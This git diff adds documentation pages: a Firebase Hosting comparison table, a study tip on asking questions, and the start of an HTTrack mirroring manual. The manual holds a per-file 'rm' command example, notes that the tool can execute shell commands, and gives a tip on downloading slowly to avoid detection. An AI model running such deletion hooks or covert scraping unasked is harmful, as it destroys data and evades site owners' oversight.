+-   **Cache dynamic content** — You can [configure caching](https://firebase.google.com/docs/hosting/manage-cache) of your dynamic content on a global CDN.
+
+    For example, if a function generates new content only periodically, you can speed up your app by caching the generated content for at least a short period of time. You can also potentially reduce execution costs because the content is served from the CDN rather than via a triggered function or containerized app.
+
+-   **Prerender your single-page apps** — You can improve SEO and optimize sharing across various social networks by creating dynamic `meta` tags. To learn more, watch this [video](https://www.youtube.com/watch?v=82tZAPMHfT4) or check out [this open-source sample](https://github.com/firebase/functions-samples/tree/Node-8/isomorphic-react-app).
+
+## Choosing a serverless option
+
+While both **[Cloud Functions for Firebase](https://firebase.google.com/docs/hosting/functions)** and **[Cloud Run](https://firebase.google.com/docs/hosting/cloud-run)** integrate with Firebase Hosting and offer a fully managed, autoscaling, and secure serverless environment, the two options can be leveraged for different use cases and desired level of customized configuration.
+
+The following table describes some basic considerations for using Cloud Functions for Firebase versus Cloud Run. For a full listing of quotas, limits, and metrics, refer to each product's detailed documentation ([Cloud Functions for Firebase](https://firebase.google.com/docs/functions/quotas) or [Cloud Run](https://cloud.google.com/run/quotas)).
+
+| **Consideration**                   | **Cloud Functions for Firebase**                                                                                                                          | **Cloud Run**                                                                                                                         |
+| ----------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
+| **Setup**                           | The Firebase CLI bundles multiple tasks into single commands, from initializing to building and deploying.                                                | Containers offer more customizable options, so setup, build, and deployment tasks involve discrete steps.                             |
+| **Runtime environment**             | Requires Node.js, but you can specify [which version](https://firebase.google.com/docs/functions/manage-functions#set_runtime_options) of Node.js to use. | When [building your container](https://firebase.google.com/docs/hosting/cloud-run#containerize), you specify the runtime environment. |
+| **Language and frameworks support** |                                                                                                                                                           |                                                                                                                                       |
+| **Timeout for Hosting request**     | 60 seconds (see Note below)                                                                                                                               | 60 seconds (see Note below)                                                                                                           |
+| **Concurrency**                     | 1 request per function instance (no concurrency per instance)                                                                                             | Up to 1,000 concurrent requests per container instance                                                                                |
+| **Billing**                         | [Cloud Functions usage](https://firebase.google.com/pricing)                                                                                              | [Cloud Run usage](https://cloud.google.com/run/pricing) + [Container Registry storage](https://cloud.google.com/container-registry/)  |
+
+<!--EndFragment-->
diff --git a/src/pages/docs/tips/how-to-ask-questions/index.md b/src/pages/docs/tips/how-to-ask-questions/index.md
new file mode 100644
index 0000000000..7ba2b2a114
--- /dev/null
+++ b/src/pages/docs/tips/how-to-ask-questions/index.md
@@ -0,0 +1,79 @@
+---
+title: How to Ask Questions
+template: docs
+excerpt: Many students find it hard to ask questions during the classes and online
+---
+<!--StartFragment-->
+
+# [How to Ask Questions](https://bgoonz.github.io/webdevbook/#/learning/how-to-ask-questions?id=how-to-ask-questions)
+
+Many students find it hard to ask questions during the classes and online (through Slack or otherwise). However, to become a good programmer means you dare to ask questions, lots of questions. In fact, some companies even have a rule on this: If you are stuck, you have ​one hour t​o solve the problem. If you cannot, you ​have to ask for help.
+
+In bgoonz there are several ways to ask for help:
+
+* Ask your classmate or a student from another class
+* Ask in Slack (preferably in your classroom channel)
+* Approach a teacher during breaks or through slack in a group
+* Ask HYF staff to connect you to a graduate or teacher for individual sessions
+
+Nevertheless, we often notice students not asking for help is the prime reason for them dropping out of our program.
+
+Let’s take a classic example we often encounter in bgoonz:
+
+During class the teacher explains a concept. At some point the students do not understand what the teacher is trying to explain. One or two students ask questions. However, these students already understand most of the concepts and are therefore comfortable to ask questions to improve their knowledge. Yet, most classmates remain silent and do not ask any questions, even though they can hardly keep up with the teacher. What are the reasons? Below we discuss 3 reasons and some suggestions on how to ask questions anyway.
+
+**Reason 1:** You do not want to take the risk of looking stupid in front of the class.
+
+*Solution:*
+
+Fun story:​ ​A woman, recounting a story about an old man who used to answer all her "stupid questions", explained: "If you ask a question it makes you look stupid for 5 minutes – but if you don't ask – you stay stupid for fifty years, so always ask questions in your life".
+
+If reason 1 is your reason for not asking, we say: you are wasting your own time. Instead of asking the teacher, you are telling yourself you will understand it by yourself later on. What often happens is that you will only understand 50% of it when you look it up yourself, and this will cost you much more time than just asking the teacher and getting a clear answer directly.
+
+Also, in your job you will need to be capable of asking questions in front of people: start practicing now!
+
+**Reason 2:**
+
+You know you are not completely understanding the concept/explanation but do not know how to transform this into a useful question.
+
+*Solution*
+
+There are several ways to ask a question when you are not sure how to frame it:
+
+Recap what you understood, and share where you lost the teacher
+
+* “I Understood how it worked until this point, but after that you lost me. Can you explain part X again?”
+
+How does X work:
+
+* “How does part x work? I still don’t really understand it.”
+
+Why do we do X?
+
+* “Why do you use X to solve problem Y?”
+
+Check your own understanding
+
+* “Do I understand correctly that X does Y and Z?”
+
+Ask for an example:
+
+* “Can you give an example of how X works?”
+
+**Reason 3:**
+
+You lack a fundamental understanding of a basic concept, which prevents you from understanding the new information.
+
+*Solution*
+
+This situation applies when you have not mastered the underlying basic concepts yet and therefore cannot understand the explanation of the teacher (or reading materials) when discussing more advanced concepts.
+
+For instance, the teacher is explaining ​callback functions​ with a practical example. However, you do not grasp his/her explanation since you are still not completely comfortable with basic functions, which are explained and used in the JS1/JS2 modules.
+
+If this happens, it is probably a good idea to take some time apart with the teacher, a graduate student or someone else ​who is good at explaining the basics​.
+
+We can always provide you with some help, for instance by organizing individual video calls or appointments with former students or teachers. Moreover, it is important to revisit the basic concepts that you struggle and ​practice, practice, practice u​ ntil you dream of Javascript functions. After that, you can try to revisit the more advanced concepts (for instance by re-watching the lecture on YouTube).
+
+If you feel reason 3 applies to you, it is crucial not to wait and hope things get better with time. As the speed of our curriculum is very high, ​you have to take initiative and reach out to us for HELP.​ Again, good programmers ask for help. Those that do not ask for help, will never become good programmers.
+
+<!--EndFragment-->
\ No newline at end of file
diff --git a/src/pages/docs/tips/httrack/index.md b/src/pages/docs/tips/httrack/index.md
new file mode 100644
index 0000000000..5cbbd20a25
--- /dev/null
+++ b/src/pages/docs/tips/httrack/index.md
@@ -0,0 +1,2465 @@
+---
+title: HTTRACK
+template: docs
+excerpt: Httrack is a program that gets information from the Internet
+---
+## Basics
+
+Httrack is a program that gets information from the Internet, looks for pointers to other information, gets that information, and so forth. If you ask it to, and have enough disk space, it will try to make a copy of the whole Internet on your computer. While this may be the answer to Dilbert's boss when he asks to get a printout of the Internet for some legal document, for most of us, we want to get copies of just the right part of the Internet, and have them nicely organized for our use. This is where httrack does a great job. Here's a simple example:
+
+```
+
+httrack "http://www.all.net/" -O "/tmp/www.all.net" "+*.all.net/*" -v
+
+```
+
+In this example, we ask httrack to start the Universal Resource Locator (URL) http://www.all.net/ and store the results under the directory /tmp/www.all.net (the -O stands for "output to") while not going beyond the bounds of all the files in the www.all.net domain and printing out any error messages along the way (-v means verbose). This is the most common way that I use httrack. Please note that this particular command might take you a while - and run you out of disk space.
+
+This sort of a mirror image is not an identical copy of the original web site - in some ways it's better such as for local use - while in other ways it may be problematic - such as for legal use. This default mirroring method changes the URLs within the web site so that the references are made relative to the location the copy is stored in. This makes it very useful for navigating through the web site on your local machine with a web browser since most things will work as you would expect them to work. In this example, URLs that point outside of the www.all.net domain space will still point there, and if you encounter one, the web browser will try to get the data from that location.
+
+For each of the issues discussed here - and many more - httrack has options to allow you to make different choices and get different results. This is one of the great things about httrack - and one of the the real major problems with using it without the knowledge of all that it can do. If you want to know all the things httrack can do, you might try typing:
+
+```
+
+httrack --help
+
+```
+
+Unfortunately, while this outputs a though list of options, it is somewhat less helpful it might be for those who don't know what the options all mean and haven't used them before. On the other hand, this is most useful for those who already know how to use the program but don't remember some obscure option that they haven't used for some time.
+
+The rest of this manual is dedicated to detailing what you find in the help message and providing examples - lots and lots of examples... Here is what you get (page by page - use to move to the next page in the real program) if you type 'httrack --help':
+
+```
+>httrack --help
+ HTTrack version 3.03BETAo4 (compiled Jul  1 2001)
+usage: ./httrack ] [-]
+with options listed below: (* is the default value)
+
+General options:
+  O  path for mirror/logfiles+cache (-O path_mirror[,path_cache_and_logfiles]) (--path )
+ %O  top path if no path defined (-O path_mirror[,path_cache_and_logfiles])
+
+Action options:
+  w *mirror web sites (--mirror)
+  W  mirror web sites, semi-automatic (asks questions) (--mirror-wizard)
+  g  just get files (saved in the current directory) (--get-files)
+  i  continue an interrupted mirror using the cache
+  Y   mirror ALL links located in the first level pages (mirror links) (--mirrorlinks)
+
+Proxy options:
+  P  proxy use (-P proxy:port or -P user:pass@proxy:port) (--proxy )
+ %f *use proxy for ftp (f0 don't use) (--httpproxy-ftp[=N])
+
+Limits options:
+  rN set the mirror depth to N (* r9999) (--depth[=N])
+ %eN set the external links depth to N (* %e0) (--ext-depth[=N])
+  mN maximum file length for a non-html file (--max-files[=N])
+  mN,N'                  for non html (N) and html (N')
+  MN maximum overall size that can be uploaded/scanned (--max-size[=N])
+  EN maximum mirror time in seconds (60=1 minute, 3600=1 hour) (--max-time[=N])
+  AN maximum transfer rate in bytes/seconds (1000=1kb/s max) (--max-rate[=N])
+ %cN maximum number of connections/seconds (*%c10)
+  GN pause transfer if N bytes reached, and wait until lock file is deleted (--max-pause[=N])
+
+Flow control:
+  cN number of multiple connections (*c8) (--sockets[=N])
+  TN timeout, number of seconds after a non-responding link is shutdown (--timeout)
+  RN number of retries, in case of timeout or non-fatal errors (*R1) (--retries[=N])
+  JN traffic jam control, minimum transfert rate (bytes/seconds) tolerated for a link (--min-rate[=N])
+  HN host is abandonned if: 0=never, 1=timeout, 2=slow, 3=timeout or slow (--host-control[=N])
+
+Links options:
+ %P *extended parsing, attempt to parse all links, even in unknown tags or Javascript (%P0 don't use) (--extended-parsing[=N])
+  n  get non-html files 'near' an html file (ex: an image located outside) (--near)
+  t  test all URLs (even forbidden ones) (--test)
+ %L )
+
+Build options:
+  NN structure type (0 *original structure, 1+: see below) (--structure[=N])
+     or user defined structure (-N "%h%p/%n%q.%t")
+  LN long names (L1 *long names / L0 8-3 conversion) (--long-names[=N])
+  KN keep original links (e.g. http://www.adr/link) (K0 *relative link, K absolute links, K3 absolute URI links) (--keep-links[=N])
+  x  replace external html links by error pages (--replace-external)
+ %x  do not include any password for external password protected websites (%x0 include) (--no-passwords)
+ %q *include query string for local files (useless, for information purpose only) (%q0 don't include) (--include-query-string)
+  o *generate output html file in case of error (404..) (o0 don't generate) (--generate-errors)
+  X *purge old files after update (X0 keep delete) (--purge-old[=N])
+
+Spider options:
+  bN accept cookies in cookies.txt (0=do not accept,* 1=accept) (--cookies[=N])
+  u  check document type if unknown (cgi,asp..) (u0 don't check, * u1 check but /, u2 check always) (--check-type[=N])
+  j *parse Java Classes (j0 don't parse) (--parse-java[=N])
+  sN follow robots.txt and meta robots tags (0=never,1=sometimes,* 2=always) (--robots[=N])
+ %h  force HTTP/1.0 requests (reduce update features, only for old servers or proxies) (--http-10)
+ %B  tolerant requests (accept bogus responses on some servers, but not standard!) (--tolerant)
+ %s  update hacks: various hacks to limit re-transfers when updating (identical size, bogus response..) (--updatehack)
+ %A  assume that a type (cgi,asp..) is always linked with a mime type (-%A php3=text/html) (--assume )
+
+Browser ID:
+  F  user-agent field (-F "user-agent name") (--user-agent )
+ %F  footer string in Html code (-%F "Mirrored [from host %s [file %s [at %s]]]" (--footer )
+ %l  preffered language (-%l "fr, en, jp, *" (--language )
+
+Log, index, cache
+  C  create/use a cache for updates and retries (C0 no cache,C1 cache is prioritary,* C2 test update before) (--cache[=N])
+  k  store all files in cache (not useful if files on disk) (--store-all-in-cache)
+ %n  do not re-download locally erased files (--do-not-recatch)
+ %v  display on screen filenames downloaded (in realtime) (--display)
+  Q  no log - quiet mode (--do-not-log)
+  q  no questions - quiet mode (--quiet)
+  z  log - extra infos (--extra-log)
+  Z  log - debug (--debug-log)
+  v  log on screen (--verbose)
+  f *log in files (--file-log)
+  f2 one single log file (--single-log)
+  I *make an index (I0 don't make) (--index)
+ %I  make an searchable index for this mirror (* %I0 don't make) (--search-index)
+
+Expert options:
+  pN priority mode: (* p3) (--priority[=N])
+      0 just scan, don't save anything (for checking links)
+      1 save only html files
+      2 save only non html files
+     *3 save all files
+      7 get html files before, then treat other files
+  S  stay on the same directory
+  D *can only go down into subdirs
+  U  can only go to upper directories
+  B  can both go up&down into the directory structure
+  a *stay on the same address
+  d  stay on the same principal domain
+  l  stay on the same TLD (eg: .com)
+  e  go everywhere on the web
+ %H  debug HTTP headers in logfile (--debug-headers)
+
+Guru options: (do NOT use)
+ #0  Filter test (-#0 '*.gif' 'www.bar.com/foo.gif')
+ #f  Always flush log files
+ #FN Maximum number of filters
+ #h  Version info
+ #K  Scan stdin (debug)
+ #L  Maximum number of links (-#L1000000)
+ #p  Display ugly progress information
+ #P  Catch URL
+ #R  Old FTP routines (debug)
+ #T  Generate transfer ops. log every minutes
+ #u  Wait time
+ #Z  Generate transfer rate statictics every minutes
+ #!  Execute a shell command (-#! "echo hello")
+
+Command-line specific options:
+  V execute system command after each files ($0 is the filename: -V "rm \$0") (--userdef-cmd )
+ %U run the engine with another id when called as root (-%U smith) (--user )
+
+Details: Option N
+  N0 Site-structure (default)
+  N1 HTML in web/, images/other files in web/images/
+  N2 HTML in web/HTML, images/other in web/images
+  N3 HTML in web/,  images/other in web/
+  N4 HTML in web/, images/other in web/xxx, where xxx is the file extension(all gif will be placed onto web/gif, for example)
+  N5 Images/other in web/xxx and HTML in web/HTML
+  N99 All files in web/, with random names (gadget !)
+  N100 Site-structure, without www.domain.xxx/
+  N101 Identical to N1 exept that "web" is replaced by the site's name
+  N102 Identical to N2 exept that "web" is replaced by the site's name
+  N103 Identical to N3 exept that "web" is replaced by the site's name
+  N104 Identical to N4 exept that "web" is replaced by the site's name
+  N105 Identical to N5 exept that "web" is replaced by the site's name
+  N199 Identical to N99 exept that "web" is replaced by the site's name
+  N1001 Identical to N1 exept that there is no "web" directory
+  N1002 Identical to N2 exept that there is no "web" directory
+  N1003 Identical to N3 exept that there is no "web" directory (option set for g option)
+  N1004 Identical to N4 exept that there is no "web" directory
+  N1005 Identical to N5 exept that there is no "web" directory
+  N1099 Identical to N99 exept that there is no "web" directory
+Details: User-defined option N
+  %n Name of file without file type (ex: image) (--do-not-recatch)
+  %N Name of file, including file type (ex: image.gif)
+  %t File type (ex: gif)
+  %p Path [without ending /] (ex: /someimages)
+  %h Host name (ex: www.someweb.com) (--http-10)
+  %M URL MD5 (128 bits, 32 ascii bytes)
+  %Q query string MD5 (128 bits, 32 ascii bytes)
+  %q small query string MD5 (16 bits, 4 ascii bytes) (--include-query-string)
+     %s? Short name version (ex: %sN)
+  %[param] param variable in query string
+
+Shortcuts:
+--mirror      
+
+ For many of you, the manual is now complete, but for
+the rest of us, I will now go through this listing one item at a time
+with examples... I will be here a while...
+
+
+ Syntax 
+
+httrack  [-option] [+] [-] 
+
+ The syntax of httrack is quite simple.  You specify
+the URLs you wish to start the process from (), any options you
+might want to add ([-option], any filters specifying places you should
+([+]) and should not ([-]) go, and end the command
+line by pressing .  Httrack then goes off and does your bidding.
+For example:
+
+
+httrack www.all.net/bob/
+
+
+ This will use the 'defaults' (those selections from
+the help page marked with '*' in the listing above) to image the web
+site. Specifically, the defauls are:
+
+  w *mirror web sites
+ %f *use proxy for ftp (f0 don't use)
+  cN number of multiple connections (*c8)
+  RN number of retries, in case of timeout or non-fatal errors (*R1)
+ %P *extended parsing, attempt to parse all links, even in unknown tags or Javascript (%P0 don't use)
+  NN  name conversion type (0 *original structure, 1+: see below)
+  LN  long names (L1 *long names / L0 8-3 conversion)
+  K   keep original links (e.g. http://www.adr/link) (K0 *relative link)
+  o *generate output html file in case of error (404..) (o0 don't generate)
+  X *purge old files after update (X0 keep delete)
+  bN  accept cookies in cookies.txt (0=do not accept,* 1=accept)
+  u check document type if unknown (cgi,asp..) (u0 don't check, * u1 check but /, u2 check always)
+  j *parse Java Classes (j0 don't parse)
+  sN  follow robots.txt and meta robots tags (0=never,1=sometimes,* 2=always)
+  C  create/use a cache for updates and retries (C0 no cache,C1 cache is prioritary,* C2 test update before)
+  f *log file mode
+  I *make an index (I0 don't make)
+  pN priority mode: (* p3)  *3 save all files
+  D  *can only go down into subdirs
+  a  *stay on the same address
+  --mirror       *make a mirror of site(s) (default)
+
+
+ Here's what all of that means:
+
+
+  w *mirror web sites 
+
+ Automatically go though each URL you download and look
+for links to other URLs inside it, dowloading them as well. 
+
+ %f *use proxy for ftp (f0 don't use) 
+
+ If there are and links to ftp URLs (URLs using the
+file transfer protocol (FTP) rather than the hypertext transfer protocol
+HTTP), go through an ftp proxy server to get them.
+
+  cN number of multiple connections (*c8) 
+
+ Use up to 8 simultaneous downloads so that at any
+gioven time, up to 8 URLs may be underway. 
+
+  RN number of retries, in case of timeout or non-fatal errors (*R1) 
+
+ Retry once if anything goes wrong with a download. 
+
+ %P *extended parsing, attempt to parse all links, even in unknown tags or Javascript (%P0 don't use) 
+
+ Try to parse all URLs - even if they are in
+Javascript, Java, tags of unknown types, or anywhere else the program
+can find things. 
+
+  NN  name conversion type (0 *original structure, 1+: see below) 
+
+ Use the original directory and file structure of the
+web site in your mirror image of the site.
+
+  LN  long names (L1 *long names / L0 8-3 conversion) 
+
+ If filenames do not follow the old DOS conventions,
+store them with the same names used on the web site.
+
+  K   keep original links (e.g. http://www.adr/link) (K0 *relative link) 
+
+ Use relative rather than the original links so that
+URLs within this web site are adjusted to point to the files in the
+mirror.
+
+  o *generate output html file in case of error (404..) (o0 don't generate) 
+
+ IF there are errors in downloading, create a file that
+indicates that the URL was not found.  This makes browsing go a lot
+smoother.
+
+  X *purge old files after update (X0 keep delete) 
+
+ Files not found on the web site that were previously
+there get deleted so that you have an accurate snapshot of the site as
+it is today - losing historical data. 
+
+  bN  accept cookies in cookies.txt (0=do not accept,* 1=accept) 
+
+ Accept all cokkies sent to you and return them if
+requested.  This is required for many sites to function.  These cookies
+are only kept relative to the specific site, so you don't have to worry
+about your browser retaining them.
+
+  u check document type if unknown (cgi,asp..) (u0 don't check, * u1 check but /, u2 check always) 
+
+ This causes different document types to be analyzed
+differently.
+
+  j *parse Java Classes (j0 don't parse) 
+
+ This causes Java class files to be parsed looking for
+URLs.
+
+  sN  follow robots.txt and meta robots tags (0=never,1=sometimes,* 2=always) 
+
+ This tells the program to follow the wishes of the
+site owner with respect to limiting where robots like this one search. 
+
+  C  create/use a cache for updates and retries (C0 no cache,C1 cache is prioritary,* C2 test update before) 
+
+ If you are downloading a site you have a previous copy
+of, supplemental parameters are transmitted to the server, for example
+the 'If-Modified-Since:' field will be used to see if files are newer
+than the last copy you have.  If they are newer, they will be
+downloaded, otherwise, they will not. 
+
+  f *log file mode 
+
+ This retains a detailed log of any important events
+that took place. 
+
+  I *make an index (I0 don't make) 
+
+ This makes a top-level index.html file so that if you
+image a set of sites, you can have one place to start reviewing the set
+of sites. 
+
+  pN priority mode: (* p3)  *3 save all files 
+
+ This will cause all downloaded files to be saved. 
+
+  D  *can only go down into subdirs 
+
+ This prevents the program from going to higher level
+directories than the initial subdirectory, but allows lower-level
+subdirectories of the starting directory to be investigated. 
+
+  a  *stay on the same address 
+
+ This indicates that only the web site(s) where the
+search started are to be collected.  Other sites they point to are not
+to be imaged. 
+
+  --mirror       *make a mirror of site(s) (default) 
+
+ This indicates that the program should try to make a
+copy of the site as well as it can. 
+
+
+
+ Now that's a lot of options for the default - but of
+course there are a lot more options to go.  For the most part, the rest
+of the options represent variations on these themes.  For example,
+instead of saving all files, we might only want to save html files, or
+instead of 8 simultaneous sessions, we might want only 4.
+
+ If we wanted to make one of these changes, we would
+specify the option on the command line. For example:
+
+
+httrack www.all.net/bob/ -c4 -B
+
+
+ This would restrict httrack to only use 4
+siumultaneous sessions but allow it to go up the directory structure
+(for example to www.all.net/joe/) as well as down it (for example to
+www.all.net/bob/deeper/).
+
+ You can add a lot of options to a command line!
+
+
+
+ A Thorough Going Over 
+
+ Now that you have an introduction, it's time for a
+more though coverage.  This is where I go through each of the options
+and describe it in detail with examples...  Actually, I won't quite do
+that.  But I will get close.
+
+ Options tend to come in groups.  Each group tends to
+be interrelated, so it's easier and more useful to go through them a
+group at a time with some baseline project in mind.  In my case, the
+project is to collect all of the information on the Internet about some
+given subject.  We will assume that, through a previous process, I have
+gotten a list of URLs of interest to me.  Typically there will be
+hundreds of these URLs, and they will be a mixed bag of sites that are
+full of desired information, pages with lists of pointers to other
+sites, URLs of portions of a web site that are of interest (like Bob's
+home pages and subdirectories), and so forth.  Let us say that for today
+we are looking for the definitive colleciton of Internet information on
+shoe sizes from around the world. 
+
+
+General Options
+
+
+General options:
+  O  path for mirror/logfiles+cache (-O path_mirror[,path_cache_and_logfiles])
+
+
+ For this project, I will want to keep all of the
+information I gather in one place, so I will specify that output area of
+the project as /tmp/shoesizes by adding '-O
+/tmp/shoesizes' to every command line I use.. for example:
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes
+
+
+ The action options tell httrack how to operate at the
+larger level.
+
+
+Action Options
+
+
+Action options:
+  w *mirror web sites
+  W  mirror web sites, semi-automatic (asks questions)
+  g  just get files (saved in the current directory)
+  i  continue an interrupted mirror using the cache
+  Y   mirror ALL links located in the first level pages (mirror links)
+
+
+ If I want httrack to ask me questions - such as what
+options to use, what sites to mirror, etc.  I can tell it to ask these
+questions as follows:
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -W
+
+ I can also do:
+
+httrack
+OR
+httrack -W
+OR
+httrack -w
+
+ The '-W' options asks whether the or not a site has to
+be mirrored, while the '-w' option does not ask this question but asks
+the remainder of the questions required to mirror the site.
+
+ The -g option allows you to get the files exactly as
+they are and store them in the current directory.  This is handy for a
+relatively small collection of information where organization isn't
+important.  With this option, the html files will not even be parsed to
+look for other URLs.  This option is useful for getting isolated files
+(e.g., httrack -g www.mydrivers.com/drivers/windrv32.exe). 
+
+
+ If I start a collection process and it fails for ome
+reason or another - such as me interrupting it because I am running out
+of disk space - or a network outage - then I can restart the process by
+using the -i option:
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -i 
+
+ Finally, I can mirror all links in the first level
+pages of the URLs I specify.  A good example of where to use whis would
+be in a case where I have a page that points to a lot of other sites and
+I want to get the initial information on those sites before mirroring
+them:
+
+httrack http://www.shoesizes.com/othersites.html -O /tmp/shoesizes -Y 
+
+
+Proxy Options
+
+ Many users use a proxy for many of their functions. 
+This is a key component in many firewalls, but it is also commonly used
+for anonymizing access and for exploiting higher speed communications at
+a remote server.
+
+Proxy options:
+  P  proxy use (-P proxy:port or -P user:pass@proxy:port)
+ %f *use proxy for ftp (f0 don't use)
+
+
+ If you are using a standard proxy that doesn't require
+a user ID and password, you would do something like this:
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -P proxy.www.all.net:8080 
+
+ In this case, we have asusmed that proxy.www.all.net is
+the host that does the proxy service and that it uses port 8080 for this
+service.  In some cases you will have to ask your network or firewall
+administrator for these details, however, in most cases they should be
+the same as the options used in your web browser.
+
+ In some cases, a user ID and password are required for
+the proxy server.  This is common in corporate environments where only
+authorized users may access the Internet.
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -P fc:password@proxy.www.all.net:8080 
+
+ In this case, the user ID 'fc' and the password
+'password' are used on proxy.www.all.net port 8080.  Again, your network or
+firewall administrator can be most helpful in addressing the specifics
+for your environment. 
+
+ FTP normally operates through a proxy server, but for systems
+that have direct connections to the Internet, the following option should help:
+
+httrack ftp://ftp.shoesizes.com -O /tmp/shoesizes -%f0 
+
+
+Limits Options
+
+
+Limits options:
+  rN set the mirror depth to N
+  mN maximum file length for a non-html file
+  mN,N'                  for non html (N) and html (N')
+  MN maximum overall size that can be uploaded/scanned
+  EN maximum mirror time in seconds (60=1 minute, 3600=1 hour)
+  AN maximum transfer rate in bytes/seconds (1000=1kb/s max)
+  GN pause transfer if N bytes reached, and wait until lock file is deleted
+  %eN set the external links depth to N (* %e0) (--ext-depth[=N])
+  %cN maximum number of connections/seconds (*%c10)
+
+
+ Setting limits provides the means by which you can
+avoid running out of disk space, CPU time, and so forth.  This may be
+particularly helpful for those who accidentally try to image the whole
+Internet. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -r50
+
+
+ In this example, we limit the directlry depth to 50
+levels deep.  As a general rule, web sites don't go much deeper than 20
+levels or so, and if you think about it, if there are only 2
+subdirectories per directory level, a directory structure 50 deep would
+have about 10 trillion directories.  Of course many sites have a small
+number of files many levels deep in a directory structure for various
+reasons.  In some cases, a symbolic link will cause an infinite
+recursion of directory levels as well, so placing a limit may be
+advisable.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -m50000000
+
+
+ This example sets the maximum file length for non-HTML
+files to 50 megabytes.  This is not an unusual length for things like
+tar files, and in some cases - for example when there are images of
+CD-ROMs to fetch from sites, you might want a limit more like 750
+megabytes.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -m50000000,100000
+
+
+ In this example, we have set a limit for html files
+as well - at 100,000 bytes.  HTML files are rarely larger than this,
+however, in some cases larger sizes may be needed. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -M1000000000
+
+
+ This option sets the maximum total size - in bytes -
+that can be uploaded from a site - in this case to 1 gigabyte. 
+Depending on how much disk space you have, such an option may be
+worthwhile.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -E3600
+
+
+ This sets the maximum runtime for the download
+process.  Of course depending on the speed of your connection it may
+take longer or shorter runtimes to get the same job done, and network
+traffic is also a factor.  3600 seconds corresponds to one hour. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes A100000000
+
+
+ This option specifies the largest number of bytes per
+second that should be used for transfers.  For example, you might want
+to go slow for some servers that are heavily loaded in the middle of the
+day, or to download slowly so that the servers at the other end are less
+likely to identify you as mirroring their site.  The setting above
+limits my bandwidth to 100 million bytes per second - slow I know, but I
+wouldn't want to stress the rest of the Internet.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -G100000000
+
+
+ In this case, the G option is used to 'pause' a
+download after the first gigabyte is downloaded pending manual removal
+of the lockfile.  This is handy of you want to download some portion of
+the data, move it to secondary storage, and then continue - or if you
+want to only download overnight and want to stop before daylight and
+continue the next evening.  You could even combine this option with a
+cron job to remove the lock file so that the job automatically restarts
+at 7PM every night and gets another gigabyte.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes %e5
+
+
+ In this case, httrack will only go to depth 5 for external links,
+thus not imaging the entire web, but only yhose links within 5 links of these web pages.
+
+ Also note that the interaction of these options may
+cause unintended consequences.  For example, limiting bandwidth and
+download time conspire to limit the total amount of data that can
+be downloaded.
+
+
+Flow Control Options
+
+
+Flow control:
+  cN number of multiple connections (*c8)
+  %cN maximum number of connections/seconds (*%c10)
+  TN timeout, number of seconds after a non-responding link is shutdown
+  RN number of retries, in case of timeout or non-fatal errors (*R1)
+  JN traffic jam control, minimum transfert rate (bytes/seconds) tolerated for a link
+  HN host is abandonned if: 0=never, 1=timeout, 2=slow, 3=timeout or slow
+
+
+ This example allows up to 128 simultaneous downloads. 
+Note that this is likely to crash remote web servers - or at least fail
+to download many of the files - because of limits on the number of
+simultaneous sessions at many sites.  At busy times of day, you might
+want to lower this to 1 or 2, especially at sites that limit the number
+of simultaneous users. Otherwise you will not get all of the downloads.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -c128
+
+
+ Many operating systems have a limit of 64 file
+handles, including internet connections and all other files that can be
+opened.  Therefore, in many cases, more that 48 connections might cause
+a "socket error" because the OS can not handle that many sockets.  This
+is also true for many servers.  As an example, a test with 48 sockets on
+a cgi-based web server (Pentium 166,80Meg RAM) overloaded the machine
+and stopped other services from running correctly.  Some servers will
+ban users that try to brutally download the website.  8 sockets is
+generally good, but when I'm getting large files (e.g., from a a site
+with large graphical images) 1 or 2 sockets is a better selection.  Here
+are some other figures from one sample set of runs:
+
+Tests: on a 10/100Mbps network, 30MB website, 99 files (70 images (some are
+little, other are big (few MB)), 23 HTML)
+With 8 sockets: 1,24MB/s
+With 48 sockets: 1,30MB/s
+With 128 sockets: 0,93MB/s
+
+
+ The timeout option causes downloads to time out after
+a non-response from a download attempt.  30 seconds is pretty reasonable
+for many sites.  You might want to increase the number of retries as
+well so that you try again and again after such timeouts. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -%c20
+
+
+ This limits the number of connections per second.  It
+is similar to the above option but allows the pace to be controlled
+rather than the simultanaety.  It is particulsrly useful for long-term
+pulls at low rates that allow little impact on remote infrastructure.
+The default is 10 connections per second.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -T30
+
+
+ This example increases the number of retries to 5. 
+This means that if a download fails 5 times, httrack will give up on it. 
+For relatively unreliable sites - or for busy times of day, this number
+should be higher.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -R5
+
+
+ This is an interesting option.  It says that in a
+traffic jam - where downloads are excessively slow - we might decide to
+back off the download.  In this case, we have limited downloads to stop
+bothering once we reach 10 bytes per second.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -J10
+
+
+ These three options will cause the download from a
+host to be abandoned if (respectively) (0) never, (1) a timeout is
+reached, (2) slow traffic is detected, (or) (3) a timeout is reached OR
+slow traffic is detected. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -H0
+httrack http://www.shoesizes.com -O /tmp/shoesizes -H1
+httrack http://www.shoesizes.com -O /tmp/shoesizes -H2
+httrack http://www.shoesizes.com -O /tmp/shoesizes -H3
+
+
+ Of course these options can be combined to provide a
+powerful set of criteria for when to continue a download and when to
+give it up, how hard to push other sites.  and how much to stress
+infrastructures. 
+
+
+Link Following Options
+
+
+Links options:
+ %P *extended parsing, attempt to parse all links, even in unknown tags or Javascript (%P0 don't use)
+  n   get non-html files 'near' an html file (ex: an image located outside)
+  t   test all URLs (even forbidden ones)
